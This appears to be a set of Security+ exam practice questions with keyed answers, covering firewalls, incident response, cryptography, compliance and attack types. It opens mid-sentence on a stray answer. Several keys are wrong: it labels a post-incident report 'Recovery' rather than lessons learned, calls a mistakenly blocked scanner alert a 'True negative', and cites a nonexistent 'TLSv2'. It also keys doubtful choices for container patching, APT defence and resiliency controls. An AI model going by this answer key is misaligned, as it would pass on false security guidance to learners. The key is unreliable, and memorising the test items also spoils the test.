A. Data can become a liability if archived longer than required by regulatory guidance.

A security administrator needs to block a TCP connection using the corporate firewall. Because this connection is potentially a threat, the administrator does not want to send back an RST. Which of the following actions in the firewall rule would work BEST? A. Drop B. Reject C. Log alert D. Permit

A. Drop

Server administrators want to configure a cloud solution so that computing memory and processor usage is maximized most efficiently across a number of virtual servers. They also need to avoid potential denial-of-service situations caused by availability. Which of the following should administrators configure to maximize system availability while efficiently utilizing available computing power? A. Dynamic resource allocation B. High availability C. Segmentation D. Container security

A. Dynamic resource allocation

A company suspects that some corporate accounts were compromised. The number of suspicious logins from locations not recognized by the users is increasing. Employees who travel need their accounts protected without the risk of blocking legitimate login requests that may be made over new sign-in properties. Which of the following security controls can be implemented? A. Enforce MFA when an account request reaches a risk threshold. B. Implement geofencing to only allow access from headquarters. C. Enforce time-based login requests that align with business hours. D. Shift the access control scheme to a discretionary access control.

A. Enforce MFA when an account request reaches a risk threshold.

A company is auditing the manner in which its European customers' personal information is handled. Which of the following should the company consult? A. GDPR B. ISO C. NIST D. PCI DSS

A. GDPR

A security analyst is evaluating solutions to deploy an additional layer of protection for a web application. The goal is to allow only encrypted communications without relying on network devices. Which of the following can be implemented? A. HTTP security header B. DNSSEC implementation C. SRTP D. S/MIME

A. HTTP security header

Which of the following can be used by a monitoring tool to compare values and detect password leaks without providing the actual credentials? A. Hashing B. Tokenization C. Masking D. Encryption

A. Hashing

Which of the following will increase cryptographic security? A. High data entropy B. Algorithms that require less computing power C. Longer key longevity D. Hashing

A. High data entropy

A company is providing security awareness training regarding the importance of not forwarding social media messages from unverified sources. Which of the following risks would this training help to prevent? A. Hoaxes B. SPIMs C. Identity fraud D. Credential harvesting

A. Hoaxes

Which of the following BEST reduces the security risks introduced when running systems that have expired vendor support and lack an immediate replacement? A. Implement proper network access restrictions. B. Initiate a bug bounty program. C. Classify the system as shadow IT. D. Increase the frequency of vulnerability scans.

A. Implement proper network access restrictions.

A routine audit of medical billing claims revealed that several claims were submitted without the subscriber's knowledge. A review of the audit logs for the medical billing company's system indicated a company employee downloaded customer records and adjusted the direct deposit information to a personal bank account. Which of the following does this action describe? A. Insider threat B. Social engineering C. Third-party risk D. Data breach

A. Insider threat

A security incident has been resolved. Which of the following BEST describes the importance of the final phase of the incident response plan? A. It examines and documents how well the team responded, discovers what caused the incident, and determines how the incident can be avoided in the future. B. It returns the affected systems back into production once systems have been fully patched, data restored, and vulnerabilities addressed. C. It identifies the incident and the scope of the breach, how it affects the production environment, and the ingress point. D. It contains the affected systems and disconnects them from the network, preventing further spread of the attack or breach.

A. It examines and documents how well the team responded, discovers what caused the incident, and determines how the incident can be avoided in the future.

Which of the following explains why RTO is included in a BIA? A. It identifies the amount of allowable downtime for an application or system. B. It prioritizes risks so the organization can allocate resources appropriately. C. It monetizes the loss of an asset and determines a break-even point for risk mitigation. D. It informs the backup approach so that the organization can recover data to a known time.

A. It identifies the amount of allowable downtime for an application or system.

The Chief Information Security Officer (CISO) requested a report on potential areas of improvement following a security incident. Which of the following incident response processes is the CISO requesting? A. Lessons learned B. Preparation C. Detection D. Containment E. Root cause analysis

A. Lessons learned

A DBA reports that several production server hard drives were wiped over the weekend. The DBA also reports that several Linux servers were unavailable due to system files being deleted unexpectedly. A security analyst verified that software was configured to delete data deliberately from those servers. No backdoors to any servers were found. Which of the following attacks was MOST likely used to cause the data loss? A. Logic bomb B. Ransomware C. Fileless virus D. Remote access Trojans E. Rootkit

A. Logic bomb

An organization discovered files with proprietary financial data have been deleted. The files have been recovered from backup, but every time the Chief Financial Officer logs in to the file server, the same files are deleted again. No other users are experiencing this issue. Which of the following types of malware is MOST likely causing this behavior? A. Logic bomb B. Cryptomalware C. Spyware D. Remote access Trojan

A. Logic bomb

A security analyst in a SOC has been tasked with onboarding a new network into the SIEM. Which of the following BEST describes the information that should feed into a SIEM solution in order to adequately support an investigation? A. Logs from each device type and security layer to provide correlation of events B. Only firewall logs since that is where attackers will most likely try to breach the network C. Email and web-browsing logs because user behavior is often the cause of security breaches D. NetFlow because it is much more reliable to analyze than syslog and will be exportable from every device

A. Logs from each device type and security layer to provide correlation of events

A report delivered to the Chief Information Security Officer (CISO) shows that some user credentials could be exfiltrated. The report also indicates that users tend to choose the same credentials on different systems and applications. Which of the following policies should the CISO use to prevent someone from using the exfiltrated credentials? A. MFA B. Lockout C. Time-based logins D. Password history

A. MFA

Two organizations plan to collaborate on the evaluation of new SIEM solutions for their respective companies. A combined effort from both organizations' SOC teams would speed up the effort. Which of the following can be written to document this agreement? A. MOU B. ISA C. SLA D. NDA

A. MOU

A junior security analyst is conducting an analysis after passwords were changed on multiple accounts without users' interaction. The SIEM have multiple login entries with the following text: suspicious event - user: scheduledtasks successfully authenticate on AD on abnormal time suspicious event - user: scheduledtasks failed to execute c:\weekly_checkups \amazing-3rdparty-domain-assessment.py suspicious event - user: scheduledtasks failed to execute c:\weekly_checkups \secureyourAD-3rdparty-compliance.sh suspicious event - user: scheduledtasks successfully executed c:\weekly_checkups \amazing-3rdparty-domain-assessment.py Which of the following is the MOST likely attack conducted on the environment? A. Malicious script B. Privilege escalation C. Domain hijacking D. DNS poisoning

A. Malicious script

A security administrator, who is working for a government organization, would like to utilize classification and granular planning to secure top secret data and grant access on a need-to-know basis. Which of the following access control schemas should the administrator consider? A. Mandatory B. Rule-based C. Discretionary D. Role-based

A. Mandatory

A retail store has a business requirement to deploy a kiosk computer in an open area. The kiosk computer's operating system has been hardened and tested. A security engineer is concerned that someone could use removable media to install a rootkit. Which of the following should the security engineer configure to BEST protect the kiosk computer? A. Measured boot B. Boot attestation C. UEFI D. EDR

A. Measured boot

The marketing department at a retail company wants to publish an internal website to the internet so it is reachable by a limited number of specific, external service providers in a secure manner. Which of the following configurations would be BEST to fulfil this requirement? A. NAC B. ACL C. WAF D. NAT

A. NAC

A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator MOST likely use to confirm the suspicions? A. Nmap B. Wireshark C. Autopsy D. DNSEnum

A. Nmap

Which of the following would be used to find the MOST common web-application vulnerabilities? A. OWASP B. MITRE ATT&CK C. Cyber Kill Chain D. SDLC

A. OWASP (Open Web Application Security Project)

Which of the following secure coding techniques makes compromised code more difficult for hackers to use? A. Obfuscation B. Normalization C. Execution D. Reuse

A. Obfuscation

An attacker was eavesdropping on a user who was shopping online. The attacker was able to spoof the IP address associated with the shopping site. Later, the user received an email regarding the credit card statement with unusual purchases. Which of the following attacks took place? A. On-path attack B. Protocol poisoning C. Domain hijacking D. Bluejacking

A. On-path attack

After a recent external audit, the compliance team provided a list of several non-compliant, in-scope hosts that were not encrypting cardholder data at rest. Which of the following compliance frameworks would address the compliance team's GREATEST concern? A. PCI DSS B. GDPR C. ISO 27001 D. NIST CSF

A. PCI DSS

Business partners are working on a security mechanism to validate transactions securely. The requirement is for one company to be responsible for deploying a trusted solution that will register and issue artifacts used to sign, encrypt, and decrypt transaction files. Which of the following is the BEST solution to adopt? A. PKI B. Blockchain C. SAML D. OAuth

A. PKI

A security policy states that common words should not be used as passwords. A security auditor was able to perform a dictionary attack against corporate credentials. Which of the following controls was being violated? A. Password complexity B. Password history C. Password reuse D. Password length

A. Password complexity

A user enters a username and a password at the login screen for a web portal. A few seconds later the following message appears on the screen: Please use a combination of numbers, special characters, and letters in the password field. Which of the following concepts does this message describe? A. Password complexity B. Password reuse C. Password history D. Password age

A. Password complexity

If a current private key is compromised, which of the following would ensure it cannot be used to decrypt all historical data? A. Perfect forward secrecy B. Elliptic-curve cryptography C. Key stretching D. Homomorphic encryption

A. Perfect forward secrecy

An administrator needs to protect user passwords and has been advised to hash the passwords. Which of the following BEST describes what the administrator is being advised to do? A. Perform a mathematical operation on the passwords that will convert them into unique strings. B. Add extra data to the passwords so their length is increased, making them harder to brute force. C. Store all passwords in the system in a rainbow table that has a centralized location. D. Enforce the use of one-time passwords that are changed for every login session.

A. Perform a mathematical operation on the passwords that will convert them into unique strings.

Two hospitals merged into a single organization. The privacy officer requested a review of all records to ensure encryption was used during record storage, in compliance with regulations. During the review, the officer discovered that medical diagnosis codes and patient names were left unsecured. Which of the following types of data does this combination BEST represent? A. Personal health information B. Personally identifiable information C. Tokenized data D. Proprietary data

A. Personal health information

Which of the following control types is focused primarily on reducing risk before an incident occurs? A. Preventive B. Deterrent C. Corrective D. Detective

A. Preventive

A penetration tester executes the command crontab -l while working in a Linux server environment. The penetration tester observes the following string in the current user's list of cron jobs:*/10 * * * * root /writable/update.sh Which of the following actions should the penetration tester perform NEXT? A. Privilege escalation B. Memory leak C. Directory traversal D. Race condition

A. Privilege escalation

An IT security manager requests a report on company information that is publicly available. The manager's concern is that malicious actors will be able to access the data without engaging in active reconnaissance. Which of the following is the MOST efficient approach to perform the analysis? A. Provide a domain parameter to theHarvester tool. B. Check public DNS entries using dnsenum. C. Perform a Nessus vulnerability scan targeting a public company's IP. D. Execute nmap using the options: scan all ports and sneaky mode.

A. Provide a domain parameter to theHarvester tool.

An organization is building backup server rooms in geographically diverse locations. The Chief Information Security Officer implemented a requirement on the project that states the new hardware cannot be susceptible to the same vulnerabilities in the existing server room. Which of the following should the systems engineer consider? A. Purchasing hardware from different vendors B. Migrating workloads to public cloud infrastructure C. Implementing a robust patch management solution D. Designing new detective security controls

A. Purchasing hardware from different vendors

Which of the following is an example of transference of risk? A. Purchasing insurance B. Patching vulnerable servers C. Retiring outdated applications D. Application owner risk sign-off

A. Purchasing insurance

A security analyst needs to produce a document that details how a security incident occurred, the steps that were taken for recovery, and how future incidents can be avoided. During which of the following stages of the response process will this activity take place? A. Recovery B. Identification C. Lessons learned D. Preparation

A. Recovery

Several attempts have been made to pick the door lock of a secure facility. As a result, the security engineer has been assigned to implement a stronger preventative access control. Which of the following would BEST complete the engineer's assignment? A. Replacing the traditional key with an RFID key B. Installing and monitoring a camera facing the door C. Setting motion-sensing lights to illuminate the door on activity D. Surrounding the property with fencing and gates

A. Replacing the traditional key with an RFID key

A Chief Security Officer is looking for a solution that can provide increased scalability and flexibility for back-end infrastructure, allowing it to be updated and modified without disruption to services. The security architect would like the solution selected to reduce the back-end server resources and has highlighted that session persistence is not important for the applications running on the back-end servers. Which of the following would BEST meet the requirements? A. Reverse proxy B. Automated patch management C. Snapshots D. NIC teaming

A. Reverse proxy

While preparing a software inventory report, a security analyst discovers an unauthorized program installed on most of the company's servers. The program utilizes the same code signing certificate as an application deployed to only the accounting team. After removing the unauthorized program, which of the following mitigations should the analyst implement to BEST secure the server environment? A. Revoke the code signing certificate used by both programs. B. Block all unapproved file hashes from installation C. Add the accounting application file hash to the allowed list. D. Update the code signing certificate for the approved application

A. Revoke the code signing certificate used by both programs.

An organization with a low tolerance for user inconvenience wants to protect laptop hard drives against loss or data theft. Which of the following would be the MOST acceptable? A. SED B. HSM C. DLP D. TPM

A. SED

A recent security breach exploited software vulnerabilities in the firewall and within the network management solution. Which of the following will MOST likely be used to identify when the breach occurred through each device? A. SIEM correlation dashboards B. Firewall syslog event logs C. Network management solution login audit logs D. Bandwidth monitors and interface sensors

A. SIEM correlation dashboards

Which of the following are common VoIP-associated vulnerabilities? (Choose two.) A. SPIM B. Vishing C. Hopping D. Phishing E. Credential harvesting F. Tailgating

A. SPIM B. Vishing

After a recent security breach, a security analyst reports that several administrative usernames and passwords are being sent via cleartext across the network to access network devices over port 23. Which of the following should be implemented so all credentials sent over the network are encrypted when remotely accessing and configuring network devices? A. SSH B. SNMPv3 C. SFTP D. Telnet E. FTP

A. SSH

The Chief Executive Officer announced a new partnership with a strategic vendor and asked the Chief Information Security Officer to federate user digital identities using SAML-based protocols. Which of the following will this enable? A. SSO B. MFA C. PKI D. DLP

A. SSO

A company is looking to migrate some servers to the cloud to minimize its technology footprint. The company has 100 databases that are on premises. Which of the following solutions will require the LEAST management and support from the company? A. SaaS B. IaaS C. PaaS D. SDN

A. SaaS

A company is looking to migrate some servers to the cloud to minimize its technology footprint. The company has a customer relationship management system on premises. Which of the following solutions will require the LEAST infrastructure and application support from the company? A. SaaS B. IaaS C. PaaS D. SDN

A. SaaS

Which of the following is an administrative control that would be MOST effective to reduce the occurrence of malware execution? A. Security awareness training B. Frequency of NIDS updates C. Change control procedures D. EDR reporting cycle

A. Security awareness training

A security analyst is reviewing the vulnerability scan report for a web server following an incident. The vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability. Which of the following is the MOST likely cause? A. Security patches were uninstalled due to user impact. B. An adversary altered the vulnerability scan reports C. A zero-day vulnerability was used to exploit the web server D. The scan reported a false negative for the vulnerability

A. Security patches were uninstalled due to user impact.

A large industrial system's smart generator monitors the system status and sends alerts to third-party maintenance personnel when critical failures occur. While reviewing the network logs, the company's security manager notices the generator's IP is sending packets to an internal file server's IP. Which of the following mitigations would be BEST for the security manager to implement while maintaining alerting capabilities? A. Segmentation B. Firewall allow list C. Containment D. Isolation

A. Segmentation

A database administrator wants to grant access to an application that will be reading and writing data to a database. The database is shared by other applications also used by the finance department. Which of the following account types is MOST appropriate for this purpose? A. Service B. Shared C. Generic D. Admin

A. Service

Which of the following is a security best practice that ensures the integrity of aggregated log files within a SIEM? A. Set up hashing on the source log file servers that complies with local regulatory requirements. B. Back up the aggregated log files at least two times a day or as stated by local regulatory requirements. C. Write protect the aggregated log files and move them to an isolated server with limited access. D. Back up the source log files and archive them for at least six years or in accordance with local regulatory requirements.

A. Set up hashing on the source log file servers that complies with local regulatory requirements.

A security forensics analyst is examining a virtual server. The analyst wants to preserve the present state of the virtual server, including memory contents. Which of the following backup types should be used? A. Snapshot B. Differential C. Cloud D. Full E. Incremental

A. Snapshot

Which of the following would BEST provide a systems administrator with the ability to more efficiently identify systems and manage permissions and policies based on location, role, and service level? A. Standard naming conventions B. Domain services C. Baseline configurations D. Diagrams

A. Standard naming conventions

Which of the following would be indicative of a hidden audio file found inside of a piece of source code? A. Steganography B. Homomorphic encryption C. Cipher suite D. Blockchain

A. Steganography

After installing a patch on a security appliance, an organization realized a massive data exfiltration had occurred. Which of the following BEST describes the incident? A. Supply chain attack B. Ransomware attack C. Cryptographic attack D. Password attack

A. Supply chain attack

An organization wants to enable built-in FDE on all laptops. Which of the following should the organization ensure is installed on all laptops? A. TPM B. CA C. SAML D. CRL

A. TPM

Due to unexpected circumstances, an IT company must vacate its main office, forcing all operations to alternate, off-site locations. Which of the following will the company MOST likely reference for guidance during this change? A. The business continuity plan B. The retention policy C. The disaster recovery plan D. The incident response plan

A. The business continuity plan

During a trial, a judge determined evidence gathered from a hard drive was not admissible. Which of the following BEST explains this reasoning? A. The forensic investigator forgot to run a checksum on the disk image after creation. B. The chain of custody form did not note time zone offsets between transportation regions. C. The computer was turned off, and a RAM image could not be taken at the same time. D. The hard drive was not properly kept in an antistatic bag when it was moved.

A. The forensic investigator forgot to run a checksum on the disk image after creation.

A web server has been compromised due to a ransomware attack. Further investigation reveals the ransomware has been in the server for the past 72 hours. The systems administrator needs to get the services back up as soon as possible. Which of the following should the administrator use to restore services to a secure state? A. The last incremental backup that was conducted 72 hours ago B. The last known-good configuration C. The last full backup that was conducted seven days ago D. The baseline OS configuration

A. The last incremental backup that was conducted 72 hours ago

An untrusted SSL certificate was discovered during the most recent vulnerability scan. A security analyst determines the certificate is signed properly and is a valid wildcard. This same certificate is installed on the other company servers without issue. Which of the following is the MOST likely reason for this finding? A. The required intermediate certificate is not loaded as part of the certificate chain. B. The certificate is on the CRL and is no longer valid. C. The corporate CA has expired on every server, causing the certificate to fail verification. D. The scanner is incorrectly configured to not trust this certificate when detected on the server.

A. The required intermediate certificate is not loaded as part of the certificate chain.

An organization recently released a software assurance policy that requires developers to run code scans each night on the repository. After the first night, the security team alerted the developers that more than 2,000 findings were reported and need to be addressed. Which of the following is the MOST likely cause for the high number of findings? A. The vulnerability scanner was not properly configured and generated a high number of false positives. B. Third-party libraries have been loaded into the repository and should be removed from the codebase. C. The vulnerability scanner found several memory leaks during runtime, causing duplicate reports for the same issue. D. The vulnerability scanner was not loaded with the correct benchmarks and needs to be updated.

A. The vulnerability scanner was not properly configured and generated a high number of false positives.

A user wanted to catch up on some work over the weekend but had issues logging in to the corporate network using a VPN. On Monday, the user opened a ticket for this issue but was able to log in successfully. Which of the following BEST describes the policy that is being implemented? A. Time-based logins B. Geofencing C. Network location D. Password history

A. Time-based logins

Which of the following is the MOST likely reason for securing an air-gapped laboratory HVAC system? A. To avoid data leakage B. To protect surveillance logs C. To ensure availability D. To facilitate third-party access

A. To avoid data leakage

Which of the following is a reason to publish files' hashes? A. To validate the integrity of the files B. To verify if the software was digitally signed C. To use the hash as a software activation key D. To use the hash as a decryption passphrase

A. To validate the integrity of the files

The database administration team is requesting guidance for a secure solution that will ensure confidentiality of cardholder data at rest only in certain fields in the database schema. The requirement is to substitute a sensitive data field with a non-sensitive field that is rendered useless if a data breach occurs. Which of the following is the BEST solution to meet the requirement? A. Tokenization B. Masking C. Full disk encryption D. Mirroring

A. Tokenization

Which of the following actions would be recommended to improve an incident response process? A. Train the team to identify the difference between events and incidents. B. Modify access so the IT team has full access to the compromised assets. C. Contact the authorities if a cybercrime is suspected. D. Restrict communication surrounding the response to the IT team.

A. Train the team to identify the difference between events and incidents.

The board of directors at a company contracted with an insurance firm to limit the organization's liability. Which of the following risk management practices does this BEST describe? A. Transference B. Avoidance C. Mitigation D. Acknowledgement

A. Transference

Which of the following components can be used to consolidate and forward inbound internet traffic to multiple cloud environments though a single firewall? A. Transit gateway B. Cloud hot site C. Edge computing D. DNS sinkhole

A. Transit gateway

A security analyst receives an alert from the company's SIEM that anomalous activity is coming from a local source IP address of 192.168.34.26. The Chief Information Security Officer asks the analyst to block the originating source. Several days later, another employee opens an internal ticket stating that vulnerability scans are no longer being performed properly. The IP address the employee provides is 192.168.34.26. Which of the following describes this type of alert? A. True negative B. True positive C. False positive D. False negative

A. True negative

Which of the following tools is effective in preventing a user from accessing unauthorized removable media? A. USB data blocker B. Faraday cage C. Proximity reader D. Cable lock

A. USB data blocker

A tax organization is working on a solution to validate the online submission of documents. The solution should be carried on a portable USB device that should be inserted on any computer that is transmitting a transaction securely. Which of the following is the BEST certificate for these requirements? A. User certificate B. Self-signed certificate C. Computer certificate D. Root certificate

A. User certificate

A company recently experienced a significant data loss when proprietary information was leaked to a competitor. The company took special precautions by using proper labels; however, email filter logs do not have any record of the incident. An investigation confirmed the corporate network was not breached, but documents were downloaded from an employee's COPE tablet and passed to the competitor via cloud storage. Which of the following is the BEST remediation for this data leak? A. User training B. CASB C. MDM D. DLP

A. User training

While reviewing an alert that shows a malicious request on one web application, a cybersecurity analyst is alerted to a subsequent token reuse moments later on a different service using the same single sign-on method. Which of the following would BEST detect a malicious actor? A. Utilizing SIEM correlation engines B. Deploying Netflow at the network border C. Disabling session tokens for all sites D. Deploying a WAF for the web server

A. Utilizing SIEM correlation engines

An organization would like to give remote workers the ability to use applications hosted inside the corporate network. Users will be allowed to use their personal computers, or they will be provided organization assets. Either way, no data or applications will be installed locally on any user systems. Which of the following mobile solutions would accomplish these goals? A. VDI B. MDM C. COPE D. UTM

A. VDI

A security analyst has been tasked with creating a new WiFi network for the company. The requirements received by the analyst are as follows:* Must be able to differentiate between users connected to WiFi* The encryption keys need to change routinely without interrupting the users or forcing reauthentication* Must be able to integrate with RADIUS* Must not have any open SSIDsWhich of the following options BEST accommodates these requirements? A. WPA2-Enterprise B. WPA3-PSK C. 802.11n D. WPS

A. WPA2-Enterprise

Which of the following is a targeted attack aimed at compromising users within a specific industry or group? A. Watering hole B. Typosquatting C. Hoax D. Impersonation

A. Watering hole

Which of the following BEST describes the team that acts as a referee during a penetration-testing exercise? A. White team B. Purple team C. Green team D. Blue team E. Red team

A. White team

An administrator is configuring a firewall rule set for a subnet to only access DHCP, web pages, and SFTP, and to specifically block FTP. Which of the following would BEST accomplish this goal? A. [Permission Source Destination Port] Allow: Any Any 80 Allow: Any Any 443 Allow: Any Any 67 Allow: Any Any 68 Allow: Any Any 22 Deny: Any Any 21 Deny: Any Any B. [Permission Source Destination Port] Allow: Any Any 80 Allow: Any Any 443 Allow: Any Any 67 Allow: Any Any 68 Deny: Any Any 22 Allow: Any Any 21 Deny: Any Any C. [Permission Source Destination Port] Allow: Any Any 80 Allow: Any Any 443 Allow: Any Any 22 Deny: Any Any 67 Deny: Any Any 68 Deny: Any Any 21 Allow: Any Any D. [Permission Source Destination Port] Allow: Any Any 80 Allow: Any Any 443 Deny: Any Any 67 Allow: Any Any 68 Allow: Any Any 22 Allow: Any Any 21 Allow: Any Any

A. [Permission Source Destination Port] Allow: Any Any 80 Allow: Any Any 443 Allow: Any Any 67 Allow: Any Any 68 Allow: Any Any 22 Deny: Any Any 21 Deny: Any Any

During an incident response process involving a laptop, a host was identified as the entry point for malware. The management team would like to have the laptop restored and given back to the user. The cybersecurity analyst would like to continue investigating the intrusion on the host. Which of the following would allow the analyst to continue the investigation and also return the laptop to the user as soon as possible? A. dd B. memdump C. tcpdump D. head

A. dd

The concept of connecting a user account across the systems of multiple enterprises is BEST known as: A. federation. B. a remote access policy. C. multifactor authentication. D. single sign-on.

A. federation.

Users report access to an application from an internal workstation is still unavailable to a specific server, even after a recent firewall rule implementation that was requested for this access. ICMP traffic is successful between the two devices. Which of the following tools should the security analyst use to help identify if the traffic is being blocked? A. nmap B. tracert C. ping D. ssh

A. nmap

Digital signatures use asymmetric encryption. This means the message is encrypted with: A. the sender's private key and decrypted with the sender's public key. B. the sender's public key and decrypted with the sender's private key. C. the sender's private key and decrypted with the recipient's public key. D. the sender's public key and decrypted with the recipient's private key.

A. the sender's private key and decrypted with the sender's public key.

WPA2 (Wireless Protected Access 2)

An improvement over WPA that includes dynamic negotiation between the AP and the client for authentication and encryption algorithms. It is a common choice for securing wireless networks.

A cybersecurity administrator is using iptables as an enterprise firewall. The administrator created some rules, but the network now seems to be unresponsive. All connections are being dropped by the firewall. Which of the following would be the BEST option to remove the rules? A. # iptables -t mangle -X B. # iptables -F C. # iptables -Z D. # iptables -P INPUT -j DROP

B. # iptables -F

A Chief Security Officer (CSO) is concerned that cloud-based services are not adequately protected from advanced threats and malware. The CSO believes there is a high risk that a data breach could occur in the near future due to the lack of detective and preventive controls. Which of the following should be implemented to BEST address the CSO's concerns? (Choose two.) A. A WAF B. A CASB C. An NG-SWG D. Segmentation E. Encryption F. Containerization

B. A CASB C. An NG-SWG

An IT manager is estimating the mobile device budget for the upcoming year. Over the last five years, the number of devices that were replaced due to loss, damage, or theft steadily increased by 10%. Which of the following would BEST describe the estimated number of devices to be replaced next year? A. ALE B. ARO C. RPO D. SLE

B. ARO

A security analyst has identified malware spreading through the corporate network and has activated the CSIRT. Which of the following should the analyst do NEXT? A. Review how the malware was introduced to the network. B. Attempt to quarantine all infected hosts to limit further spread. C. Create help desk tickets to get infected systems reimaged. D. Update all endpoint antivirus solutions with the latest updates.

B. Attempt to quarantine all infected hosts to limit further spread.

Which of the following BEST describes the process of documenting who has access to evidence? A. Order of volatility B. Chain of custody C. Non-repudiation D. Admissibility

B. Chain of custody

A company's security team received notice of a critical vulnerability affecting a high-profile device within the web infrastructure. The vendor patch was just made available online but has not yet been regression tested in development environments. In the interim, firewall rules were implemented to reduce the access to the interface affected by the vulnerability. Which of the following controls does this scenario describe? A. Deterrent B. Compensating C. Detective D. Preventive

B. Compensating

A security analyst is hardening a network infrastructure. The analyst is given the following requirements:• Preserve the use of public IP addresses assigned to equipment on the core router.• Enable "in transport" encryption protection to the web server with the strongest ciphers.Which of the following should the analyst implement to meet these requirements? (Choose two.) A. Configure VLANs on the core router. B. Configure NAT on the core router. C. Configure BGP on the core router. D. Enable AES encryption on the web server. E. Enable 3DES encryption on the web server. F. Enable TLSv2 encryption on the web server.

B. Configure NAT on the core router. F. Enable TLSv2 encryption on the web server.

The Chief Information Security Officer is concerned about employees using personal email rather than company email to communicate with clients and sending sensitive business information and PII. Which of the following would be the BEST solution to install on the employees' workstations to prevent information from leaving the company's network? A. HIPS B. DLP C. HIDS D. EDR

B. DLP

An analyst receives multiple alerts for beaconing activity for a host on the network. After analyzing the activity, the analyst observes the following activity:* A user enters comptia.org into a web browser.* The website that appears is not the comptia.org site.* The website is a malicious site from the attacker.* Users in a different office are not having this issue.Which of the following types of attacks was observed? A. On-path attack B. DNS poisoning C. Locator (URL) redirection D. Domain hijacking

B. DNS poisoning

Which of the following employee roles is responsible for protecting an organization's collected personal information? A. CTO B. DPO C. CEO D. DBA

B. DPO

An organization is outlining data stewardship roles and responsibilities. Which of the following employee roles would determine the purpose of data and how to process it? A. Data custodian B. Data controller C. Data protection officer D. Data processor

B. Data controller

Which of the following is the FIRST environment in which proper, secure coding should be practiced? A. Stage B. Development C. Production D. Test

B. Development

Data exfiltration analysis indicates that an attacker managed to download system configuration notes from a web server. The web-server logs have been deleted, but analysts have determined that the system configuration notes were stored in the database administrator's folder on the web server. Which of the following attacks explains what occurred? (Choose two.) A. Pass-the-hash B. Directory traversal C. SQL injection D. Privilege escalation E. Cross-site scripting F. Request forgery

B. Directory traversal D. Privilege escalation

A security analyst has been tasked with ensuring all programs that are deployed into the enterprise have been assessed in a runtime environment. Any critical issues found in the program must be sent back to the developer for verification and remediation. Which of the following BEST describes the type of assessment taking place? A. Input validation B. Dynamic code analysis C. Fuzzing D. Manual code review

B. Dynamic code analysis

An organization is moving away from the use of client-side and server-side certificates for EAP. The company would like for the new EAP solution to have the ability to detect rogue access points. Which of the following would accomplish these requirements? A. PEAP B. EAP-FAST C. EAP-TLS D. EAP-TTLS

B. EAP-FAST

A well-known organization has been experiencing attacks from APTs. The organization is concerned that custom malware is being created and emailed into the company or installed on USB sticks that are dropped in parking lots. Which of the following is the BEST defense against this scenario? A. Configuring signature-based antivirus to update every 30 minutes B. Enforcing S/MIME for email and automatically encrypting USB drives upon insertion C. Implementing application execution in a sandbox for unknown software D. Fuzzing new files for vulnerabilities if they are not digitally signed

B. Enforcing S/MIME for email and automatically encrypting USB drives upon insertion

A security administrator is analyzing the corporate wireless network. The network only has two access points running on channels 1 and 11. While using airodump-ng, the administrator notices other access points are running with the same corporate ESSID on all available channels and with the same BSSID of one of the legitimate access points. Which of the following attacks is happening on the corporate network? A. On-path B. Evil twin C. Jamming D. Rogue access point E. Disassociation

B. Evil twin

A company received a "right to be forgotten" request. To legally comply, the company must remove data related to the requester from its systems. Which of the following is the company MOST likely complying with? A. NIST CSF B. GDPR C. PCI DSS D. ISO 27001

B. GDPR

A company is receiving emails with links to phishing sites that look very similar to the company's own website address and content. Which of the following is the BEST way for the company to mitigate this attack? A. Create a honeynet to trap attackers who access the VPN with credentials obtained by phishing. B. Generate a list of domains similar to the company's own and implement a DNS sinkhole for each. C. Disable POP and IMAP on all Internet-facing email servers and implement SMTPS. D. Use an automated tool to flood the phishing websites with fake usernames and passwords.

B. Generate a list of domains similar to the company's own and implement a DNS sinkhole for each.

A security engineer is concerned that the strategy for detection on endpoints is too heavily dependent on previously defined attacks. The engineer would like a tool to monitor for changes to key files and network traffic on the device. Which of the following tools BEST addresses both detection and prevention? A. NIDS B. HIPS C. AV D. NGFW

B. HIPS

A company is considering transitioning to the cloud. The company employs individuals from various locations around the world. The company does not want to increase its on premises infrastructure blueprint and only wants to pay for additional compute power required. Which of the following solutions would BEST meet the needs of the company? A. Private cloud B. Hybrid environment C. Managed security service provider D. Hot backup site

B. Hybrid environment

A social media company based in North America is looking to expand into new global markets and needs to maintain compliance with international standards. With which of the following is the company's data protection officer MOST likely concerned? A. NIST Framework B. ISO 27001 C. GDPR D. PCI-DSS

B. ISO 27001

A Chief Information Security Officer has defined resiliency requirements for a new data center architecture. The requirements are as follows: • Critical fileshares will remain accessible during and after a natural disaster. • Five percent of hard disks can fail at any given time without impacting the data. • Systems will be forced to shut down gracefully when battery levels are below 20%. Which of the following are required to BEST meet these objectives? (Choose three.) A. Fiber switching B. IaC C. NAS D. RAID E. UPS F. Redundant power supplies G. Geographic dispersal H. Snapshots I. Load balancing

B. IaC C. NAS D. RAID

A security analyst discovers that a company's username and password database was posted on an Internet forum. The usernames and passwords are stored in plain text. Which of the following would mitigate the damage done by this type of data exfiltration in the future? A. Create DLP controls that prevent documents from leaving the network. B. Implement salting and hashing. C. Configure the web content filter to block access to the forum. D. Increase password complexity requirements.

B. Implement salting and hashing.

Which of the following is the BEST example of a cost-effective physical control to enforce a USB removable media restriction policy? A. Putting security/antitamper tape over USB ports, logging the port numbers, and regularly inspecting the ports B. Implementing a GPO that will restrict access to authorized USB removable media and regularly verifying that it is enforced C. Placing systems into locked, key-controlled containers with no access to the USB ports D. Installing an endpoint agent to detect connectivity of USB and removable media

B. Implementing a GPO that will restrict access to authorized USB removable media and regularly verifying that it is enforced

A security analyst is concerned about critical vulnerabilities that have been detected on some applications running inside containers. Which of the following is the BEST remediation strategy? A. Update the base container Image and redeploy the environment. B. Include the containers in the regular patching schedule for servers. C. Patch each running container individually and test the application. D. Update the host in which the containers are running.

B. Include the containers in the regular patching schedule for servers.

A security team suspects that the cause of recent power consumption overloads is the unauthorized use of empty power outlets in the network rack. Which of the following options will mitigate this issue without compromising the number of outlets available? A. Adding a new UPS dedicated to the rack B. Installing a managed PDU C. Using only a dual power supplies unit D. Increasing power generator capacity

B. Installing a managed PDU

Certain users are reporting their accounts are being used to send unauthorized emails and conduct suspicious activities. After further investigation, a security analyst notices the following: All users share workstations throughout the day. Endpoint protection was disabled on several workstations throughout the network. Travel times on logins from the affected users are impossible. Sensitive data is being uploaded to external sites. All user account passwords were forced to be reset and the issue continued. Which of the following attacks is being used to compromise the user accounts? A. Brute-force B. Keylogger C. Dictionary D. Rainbow

B. Keylogger

